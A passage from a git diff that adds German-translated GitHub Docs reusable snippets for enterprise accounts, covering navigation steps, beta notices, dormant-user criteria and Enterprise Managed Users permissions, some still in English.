+ms.locfileid: "145108692"
+---
+1. Navigiere zu {% data variables.product.prodname_dotcom_the_website %}.
+
+1. Klicke in der oberen rechten Ecke von {% data variables.product.prodname_dotcom_the_website %} auf dein Profilfoto und dann auf **Deine Unternehmen**.
+  ![„Deine Unternehmen“ im Dropdownmenü für das Profilfoto auf {% data variables.product.product_name %}](/assets/images/help/enterprises/your-enterprises.png)
+
+1. Klicke in der Liste der Unternehmen auf das Unternehmen, das du anzeigen möchtest.
+    ![Name eines Unternehmens in der Liste deiner Unternehmen](/assets/images/help/enterprises/your-enterprises-list.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/access-enterprise.md b/translations/de-DE/data/reusables/enterprise-accounts/access-enterprise.md
new file mode 100644
index 0000000000..e08a23141c
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/access-enterprise.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: 5ac98f9d0fc3a165ecbb02b82117e3496eb41325
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108687"
+---
+{% ifversion ghec %}1. Klicke in der oberen rechten Ecke von {% data variables.product.prodname_dotcom_the_website %} auf dein Profilfoto und dann auf **Deine Unternehmen**.
+  ![„Deine Unternehmen“ im Dropdownmenü für das Profilfoto auf {% data variables.product.product_name %}](/assets/images/help/enterprises/your-enterprises.png)
+
+1. Klicke in der Liste der Unternehmen auf das Unternehmen, das du anzeigen möchtest.
+    ![Name eines Unternehmens in der Liste deiner Unternehmen](/assets/images/help/enterprises/your-enterprises-list.png)
+
+{% elsif ghes or ghae %}1. Klicke oben rechts auf {% data variables.product.product_name %} auf dein Profilfoto und dann auf **Unternehmenseinstellungen**.
+    ![„Unternehmenseinstellungen“ im Dropdownmenü für das Profilfoto auf {% data variables.product.product_name %}](/assets/images/enterprise/settings/enterprise-settings.png) {% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/actions-packages-report-download-enterprise-accounts.md b/translations/de-DE/data/reusables/enterprise-accounts/actions-packages-report-download-enterprise-accounts.md
new file mode 100644
index 0000000000..3f8feaa754
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/actions-packages-report-download-enterprise-accounts.md
@@ -0,0 +1,2 @@
+1. Optionally, under the billing summary at the top of the page click **Get usage report** to email a CSV report of storage use for {% data variables.product.prodname_actions %}, {% data variables.product.prodname_registry %}, and {% data variables.product.prodname_github_codespaces %} in each of your enterprise account's organizations to the primary email address for the account.
+  ![Download CSV report](/assets/images/help/billing/actions-packages-report-download-enterprise.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/actions-runner-groups-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/actions-runner-groups-tab.md
new file mode 100644
index 0000000000..9ba72d13d5
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/actions-runner-groups-tab.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 18b153f549419cf20400348d13eb5f0a67257af1
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882755"
+---
+1. Klicke auf die Registerkarte **Runnergruppen**.
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/actions-runners-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/actions-runners-tab.md
new file mode 100644
index 0000000000..b0667201ba
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/actions-runners-tab.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a3219d4b97f1ac5e7a6510f37c4535ed4158b253
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147059962"
+---
+1. Klicke auf die Registerkarte **Runner**.
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/actions-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/actions-tab.md
new file mode 100644
index 0000000000..d67a65cbcb
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/actions-tab.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4c6eca19ca9d0cbe859e18fc90ecf5d08179c469
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108668"
+---
+1. Klicke unter „{% octicon "law" aria-label="The law icon" %} Richtlinien“ auf **Aktionen**.
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/add-a-domain.md b/translations/de-DE/data/reusables/enterprise-accounts/add-a-domain.md
new file mode 100644
index 0000000000..1fcdbd2205
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/add-a-domain.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 403ec9273f0a40048480ec3d0fbfb3a5c9fa0421
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108667"
+---
+1. Klicke auf **Domäne hinzufügen**.
+    ![Schaltfläche „Domäne hinzufügen“](/assets/images/help/enterprises/add-a-domain-button.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/administrators-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/administrators-tab.md
new file mode 100644
index 0000000000..1dba9e322b
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/administrators-tab.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: c2c8a1d5c689828c1f9efd2d0b64cc24766f7d0f
+ms.sourcegitcommit: 1309b46201604c190c63bfee47dce559003899bf
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "146180599"
+---
+1. Klicke unter „{% octicon "person" aria-label="The People icon" %} Personen“ auf **Administratoren**.
+
+   ![Administrators tab]{% ifversion ghec%}(/assets/images/help/business-accounts/business-accounts-admin-tab-dotcom.png){% else %}{% ifversion enterprise-membership-view-improvements %}(/assets/images/help/business-accounts/business-accounts-admin-tab-new.png){% else %}(/assets/images/help/business-accounts/business-accounts-admin-tab.png){% endif %}{% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/advanced-security-individual-organization-policy-drop-down.md b/translations/de-DE/data/reusables/enterprise-accounts/advanced-security-individual-organization-policy-drop-down.md
new file mode 100644
index 0000000000..c2bbbb89bb
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/advanced-security-individual-organization-policy-drop-down.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: ba3f3b9462620589b9bf6352e5526f8c3d59c772
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879243"
+---
+1. Wenn du rechts neben einer Organisation die Option **Für ausgewählte Organisationen zulassen** ausgewählt hast, wähle optional das Dropdownmenü aus, um {% data variables.product.prodname_advanced_security %} für die Organisation zuzulassen oder zu verweigern.
+  ![Dropdownliste zum Auswählen der Advanced Security-Richtlinie für eine einzelne Organisationen im Unternehmenskonto](/assets/images/help/enterprises/select-advanced-security-individual-organization-policy.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/advanced-security-organization-policy-drop-down.md b/translations/de-DE/data/reusables/enterprise-accounts/advanced-security-organization-policy-drop-down.md
new file mode 100644
index 0000000000..2fc150596e
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/advanced-security-organization-policy-drop-down.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: ddf4c16f9ad5399acbfc05a58412a15e1bc5dd4b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108659"
+---
+1. Wähle unter „Erweiterte GitHub-Sicherheit“ das Dropdownmenü aus, und klicke auf eine Richtlinie für die Organisationen, die sich im Besitz deines Unternehmens befinden.
+  ![Dropdownliste zum Auswählen einer Richtlinie für erweiterte Sicherheit für Organisationen im Unternehmenskonto](/assets/images/help/enterprises/select-advanced-security-organization-policy.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/advanced-security-policies.md b/translations/de-DE/data/reusables/enterprise-accounts/advanced-security-policies.md
new file mode 100644
index 0000000000..410ece3a9d
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/advanced-security-policies.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 8b90f1c0cf1a5e3a2fc45b5b8a578ad639cd6c83
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108652"
+---
+1. Klicke unter {% octicon "law" aria-label="The law icon" %} **Richtlinien** auf „Erweiterte Sicherheit“.
+  ![„Erweiterte Sicherheit“-Richtlinien in der Randleiste](/assets/images/help/enterprises/click-advanced-security.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/advanced-security-security-features.md b/translations/de-DE/data/reusables/enterprise-accounts/advanced-security-security-features.md
new file mode 100644
index 0000000000..cd63b3baf3
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/advanced-security-security-features.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 717d7f631d43c3107c7e8714061494a67a68bedb
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108648"
+---
+1. Klicke unter „Erweiterte GitHub-Sicherheit“ auf die Registerkarte **Sicherheitsfeatures**.
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/approved-domains-about.md b/translations/de-DE/data/reusables/enterprise-accounts/approved-domains-about.md
new file mode 100644
index 0000000000..903b42e04e
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/approved-domains-about.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: bd91805f57df07da549c1bea1204bd8f0fb82051
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147883796"
+---
+Wenn du zulassen möchtest, dass Mitglieder E-Mail-Benachrichtigungen an eine Domäne erhalten, die du nicht besitzt, kannst du die Domäne genehmigen und dann {% data variables.product.prodname_dotcom %} erlauben, E-Mail-Benachrichtigungen an Adressen innerhalb der Domäne zu senden. Du kannst zum Beispiel einem Vertragspartner, der über keine E-Mail-Adresse in deiner eigenen Domäne verfügt, den Empfang von E-Mail-Benachrichtigungen in einer Domäne gestatten, die du als vertrauenswürdig einstufst.
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/approved-domains-beta-note.md b/translations/de-DE/data/reusables/enterprise-accounts/approved-domains-beta-note.md
new file mode 100644
index 0000000000..745be6cfad
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/approved-domains-beta-note.md
@@ -0,0 +1,17 @@
+---
+ms.openlocfilehash: 7610ed196739ea79c9975df4eee96d3ec3ea7ae5
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147066346"
+---
+{% ifversion fpt or ghes or ghec %}
+
+{% note %}
+
+**Hinweis**: Die Domänengenehmigung befindet sich derzeit in der Betaversion und kann noch geändert werden.
+
+{% endnote %}
+
+{% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/audit-log-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/audit-log-tab.md
new file mode 100644
index 0000000000..1ea4d4619d
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/audit-log-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: f29cf2b00cf42d536e88f86869f07e0f4f3b9b7c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108631"
+---
+1. Klicke unter „{% octicon "gear" aria-label="The Settings gear" %} Einstellungen“ auf **Überwachungsprotokoll**.
+  ![Registerkarte „Überwachungsprotokoll“ auf der Randleiste für Unternehmenskonten](/assets/images/help/business-accounts/enterprise-account-settings-audit-log-tab.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/billing-microsoft-ea-overview.md b/translations/de-DE/data/reusables/enterprise-accounts/billing-microsoft-ea-overview.md
new file mode 100644
index 0000000000..aa68b51f58
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/billing-microsoft-ea-overview.md
@@ -0,0 +1 @@
+If you purchased {% data variables.product.prodname_enterprise %} through a Microsoft Enterprise Agreement, you can connect your Azure Subscription ID to your enterprise account to enable and pay for any {% data variables.product.prodname_github_codespaces %} usage, and for {% data variables.product.prodname_actions %} or {% data variables.product.prodname_registry %} usage beyond the amounts included with your account.
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/billing-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/billing-tab.md
new file mode 100644
index 0000000000..210e8a14cd
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/billing-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 9b887e360bb275b0f26b5bfa0dc24c132367bed5
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108624"
+---
+1. Klicke auf der linken Randleiste auf **Abrechnung**.
+  ![Registerkarte „Abrechnung“ auf der Randleiste mit den Unternehmenskontoeinstellungen](/assets/images/help/business-accounts/settings-billing-tab.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/code-security-and-analysis-policies.md b/translations/de-DE/data/reusables/enterprise-accounts/code-security-and-analysis-policies.md
new file mode 100644
index 0000000000..0be551e5a2
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/code-security-and-analysis-policies.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: c2217b967c5e48b2b3e4ab020b5b3754a49bb2dc
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148107453"
+---
+1. Klicke unter {% octicon "law" aria-label="The law icon" %} **Richtlinien** auf „Codesicherheit und -analyse“.
+  ![Screenshot der „Codesicherheit und -analyse“-Richtlinien in der Seitenleiste](/assets/images/help/enterprises/code-security-and-analysis-policies.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/continue-verifying-domain.md b/translations/de-DE/data/reusables/enterprise-accounts/continue-verifying-domain.md
new file mode 100644
index 0000000000..63352d61c6
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/continue-verifying-domain.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: f34820900f17c3c1c5a33d2aab1feb0533ea6a0e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108623"
+---
+9. Klicke rechts neben der Domäne, für die die Überprüfung aussteht, auf {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} und dann auf **Verifizierung fortsetzen**.
+![Schaltfläche „Verifizierung fortsetzen“ für Domäne](/assets/images/help/enterprises/continue-verifying-domain-enterprise.png)
+10. Klicken Sie auf **Überprüfen**.
+![Schaltfläche „Überprüfen“](/assets/images/help/organizations/verify-domain-final-button.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/dormant-user-activity-threshold.md b/translations/de-DE/data/reusables/enterprise-accounts/dormant-user-activity-threshold.md
new file mode 100644
index 0000000000..534d9c25e0
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/dormant-user-activity-threshold.md
@@ -0,0 +1 @@
+{% ifversion not ghec%}By default, a{% else %}A{% endif %} user account is considered to be dormant if it has not been active for 90 days. {% ifversion not ghec %}You can configure the length of time a user must be inactive to be considered dormant{% ifversion ghes%} and choose to suspend dormant users to release user licenses{% endif %}.{% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/dormant-user-activity.md b/translations/de-DE/data/reusables/enterprise-accounts/dormant-user-activity.md
new file mode 100644
index 0000000000..80878d1726
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/dormant-user-activity.md
@@ -0,0 +1,23 @@
+A user is considered active if the user has performed any of the following activities on {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %}.
+
+- Signing into {% data variables.location.product_location %}
+- Creating a repository
+- Pushing to a repository
+- Being added to a repository
+- Changing the visibility of a repository
+- Creating an issue or pull request
+- Commenting on an issue or pull request
+- Closing or reopening an issue or pull request
+- Applying a label to an issue or pull request, or removing a label
+- Assigning or unassigning an issue or pull request
+- Requesting a review of a pull request, or removing a review request
+- Creating or editing a comment in a pull request review
+- Dismissing a comment in a pull request 
+- Synchronizing a pull request
+- Commenting on a commit
+- Publishing a release
+- Pushing to a wiki
+- Watching a repository
+- Starring a repository
+- Deleting a repository
+- Accessing resources by using a {% data variables.product.pat_generic %} or SSH key
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/dormant-user-release-phase.md b/translations/de-DE/data/reusables/enterprise-accounts/dormant-user-release-phase.md
new file mode 100644
index 0000000000..756ddef485
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/dormant-user-release-phase.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 283455d48e4fe3a64c531b637e78abea2fe77e8e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108612"
+---
+{% note %}
+
+**Hinweis**: Der Bericht „Ruhende Benutzer“ befindet sich derzeit in der Betaversion und kann noch geändert werden. Während der Betaphase ist das Berichtsdownloadfeature aufgrund kontinuierlicher Verbesserungen möglicherweise eingeschränkt verfügbar.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/download-recovery-codes.md b/translations/de-DE/data/reusables/enterprise-accounts/download-recovery-codes.md
new file mode 100644
index 0000000000..57ac9567a1
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/download-recovery-codes.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 897f21b86a37da0cf6e8e12bd66b6253d87bb1a1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145955466"
+---
+1. Um sicherzustellen, dass du weiterhin auf dein Unternehmen zugreifen kannst, wenn dein Identitätsanbieter jemals nicht verfügbar sein sollte, klicke auf **Herunterladen**, **Drucken** oder **Kopieren**, um deine Wiederherstellungscodes zu speichern. Weitere Informationen findest du unter [Herunterladen der SSO-Wiederherstellungscodes für dein Unternehmenskonto](/admin/identity-and-access-management/managing-recovery-codes-for-your-enterprise/downloading-your-enterprise-accounts-single-sign-on-recovery-codes).
+
+   ![Screenshot der Schaltflächen zum Herunterladen, Drucken oder Kopieren von Wiederherstellungscodes](/assets/images/help/saml/saml_recovery_code_options.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/email-tab.md b/translations/de-DE/data/reusables/enterprise-accounts/email-tab.md
new file mode 100644
index 0000000000..74408ec21d
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/email-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 4e81ce10a50ae4c27f11964b0d117959de39cfee
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145086059"
+---
+1. Klicke unter {% octicon "gear" aria-label="The Settings gear" %} **Einstellungen** auf **E-Mail**.
+  ![Registerkarte „E-Mail“ in der Randleiste des Unternehmenskontos](/assets/images/enterprise/configuration/enterprise-account-email-tab.png)
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/emu-azure-admin-consent.md b/translations/de-DE/data/reusables/enterprise-accounts/emu-azure-admin-consent.md
new file mode 100644
index 0000000000..173d1c44cc
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/emu-azure-admin-consent.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 75ac89c3c50225b0c930c6d603acf0d5c331597d
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147067858"
+---
+1. Falls du umgeleitet wirst, melde dich bei deinem Identitätsanbieter an und folge dann den Anweisungen, um deine Einwilligung zu erteilen und die {% data variables.product.prodname_emu_idp_oidc_application %}-Anwendung zu installieren.
+   {% warning %}
+
+   **Warnung:** Du musst dich bei Azure AD als Benutzer mit globalen Administratorrechten anmelden, um in die Installation der {% data variables.product.prodname_emu_idp_oidc_application %}-Anwendung einzuwilligen.
+
+   {% endwarning %}
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/emu-cap-validates.md b/translations/de-DE/data/reusables/enterprise-accounts/emu-cap-validates.md
new file mode 100644
index 0000000000..f362c9b0ab
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/emu-cap-validates.md
@@ -0,0 +1 @@
+When your enterprise uses OIDC SSO, {% data variables.product.prodname_dotcom %} will automatically use your IdP's conditional access policy (CAP) IP conditions to validate user interactions with {% data variables.product.prodname_dotcom %}, when members change IP addresses, and each time a {% data variables.product.pat_generic %} or SSH key is used.
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/emu-forks.md b/translations/de-DE/data/reusables/enterprise-accounts/emu-forks.md
new file mode 100644
index 0000000000..f78720f3bc
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/emu-forks.md
@@ -0,0 +1 @@
+{% data variables.enterprise.prodname_managed_users_caps %} cannot fork repositories from outside of the enterprise or fork internal repositories. {% data variables.enterprise.prodname_managed_users_caps %} can fork private repositories owned by organizations in the enterprise into other organizations owned by the enterprise, or as a fork owned by the {% data variables.enterprise.prodname_managed_user %}.
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/emu-more-info-account.md b/translations/de-DE/data/reusables/enterprise-accounts/emu-more-info-account.md
new file mode 100644
index 0000000000..dff367cc14
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/emu-more-info-account.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b7424ba4047bd87cdef0890d0f61e1423568e75f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145068931"
+---
+Weitere Informationen findest du unter [Typen von GitHub-Konten](/get-started/learning-about-github/types-of-github-accounts#enterprise-managed-users).
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/emu-password-reset-session.md b/translations/de-DE/data/reusables/enterprise-accounts/emu-password-reset-session.md
new file mode 100644
index 0000000000..11bf5d0e50
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/emu-password-reset-session.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 16cdc4a8d55cd0d709a82283d5f29635179c65fc
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145106315"
+---
+Wenn du das Kennwort für deinen Setupbenutzer zurücksetzen musst, wende dich über das {% data variables.contact.contact_enterprise_portal %} an den {% data variables.contact.github_support %}.
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/emu-permission-follow.md b/translations/de-DE/data/reusables/enterprise-accounts/emu-permission-follow.md
new file mode 100644
index 0000000000..a27bed899e
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/emu-permission-follow.md
@@ -0,0 +1 @@
+{% ifversion ghec %} Members of an {% data variables.enterprise.prodname_emu_enterprise %} can only follow other members of their enterprise. {% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/emu-permission-fork.md b/translations/de-DE/data/reusables/enterprise-accounts/emu-permission-fork.md
new file mode 100644
index 0000000000..c3bf0cb89e
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/emu-permission-fork.md
@@ -0,0 +1 @@
+{% ifversion ghec %}Members of an {% data variables.enterprise.prodname_emu_enterprise %} cannot fork repositories from outside of the enterprise or fork internal repositories.{% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/emu-permission-gist.md b/translations/de-DE/data/reusables/enterprise-accounts/emu-permission-gist.md
new file mode 100644
index 0000000000..5093627199
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/emu-permission-gist.md
@@ -0,0 +1 @@
+{% ifversion ghec %}Members of an {% data variables.enterprise.prodname_emu_enterprise %} cannot create gists and have read-only access to gists.{% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/emu-permission-interact.md b/translations/de-DE/data/reusables/enterprise-accounts/emu-permission-interact.md
new file mode 100644
index 0000000000..b2162ba7e2
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/emu-permission-interact.md
@@ -0,0 +1 @@
+{% ifversion ghec %} Members of an {% data variables.enterprise.prodname_emu_enterprise %} can only interact with repositories within their enterprise. {% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/emu-permission-propose.md b/translations/de-DE/data/reusables/enterprise-accounts/emu-permission-propose.md
new file mode 100644
index 0000000000..2c473bfaa3
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/emu-permission-propose.md
@@ -0,0 +1 @@
+{% ifversion ghec %} Members of an {% data variables.enterprise.prodname_emu_enterprise %} can only propose changes in repositories that are part of their enterprise. {% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/emu-permission-repo.md b/translations/de-DE/data/reusables/enterprise-accounts/emu-permission-repo.md
new file mode 100644
index 0000000000..4112f4ef25
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/emu-permission-repo.md
@@ -0,0 +1 @@
+{% ifversion ghec %} Members of an {% data variables.enterprise.prodname_emu_enterprise %} can only make changes in repositories that are part of their enterprise. {% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/emu-saml-note.md b/translations/de-DE/data/reusables/enterprise-accounts/emu-saml-note.md
new file mode 100644
index 0000000000..f705731f16
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/emu-saml-note.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 03fc37872f6b1894507ab5241402d6a185abbefa
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884582"
+---
+{% ifversion ghec%} {% note %}
+
+**Hinweis**: Wenn dein Unternehmen {% data variables.product.prodname_emus %} verwendet, musst du einen anderen Prozess durchführen, um SAML-SSO zu konfigurieren. Weitere Informationen findest du unter [Konfigurieren des einmaligen Anmeldens mit SAML für in Unternehmen verwaltete Benutzer](/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/configuring-saml-single-sign-on-for-enterprise-managed-users).
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/emu-scim-note.md b/translations/de-DE/data/reusables/enterprise-accounts/emu-scim-note.md
new file mode 100644
index 0000000000..105277953a
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise-accounts/emu-scim-note.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: b1c9d6341bb404267c34fa75e1a9c4c5eb401956
+ms.sourcegitcommit: 2e1852bcdd690cb66b9b5d69cb056a2bb2b9a6b4
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: "148160847"
+---
+{% ifversion ghec%} {% note %}
+
+**Hinweis**: Wenn dein Unternehmen {% data variables.product.prodname_emus %} verwendet, musst du keine Teamsynchronisierung verwenden. Stattdessen kannst du die Teammitgliedschaft über die SCIM-Konfiguration verwalten, die du beim Einrichten deines Unternehmens erstellt hast. Weitere Informationen findest du unter [Verwalten von Teammitgliedschaften mit Identitätsanbietergruppen](/admin/identity-and-access-management/using-enterprise-managed-users-for-iam/managing-team-memberships-with-identity-provider-groups).
+
+{% endnote %} {% endif %}
diff --git a/translations/de-DE/data/reusables/enterprise-accounts/emu-short-summary.md b/translations/de-DE/data/reusables/enterprise-accounts/emu-short-summary.md
new file mode 100644
index 0000000000..c80082fe07
--- /dev/null
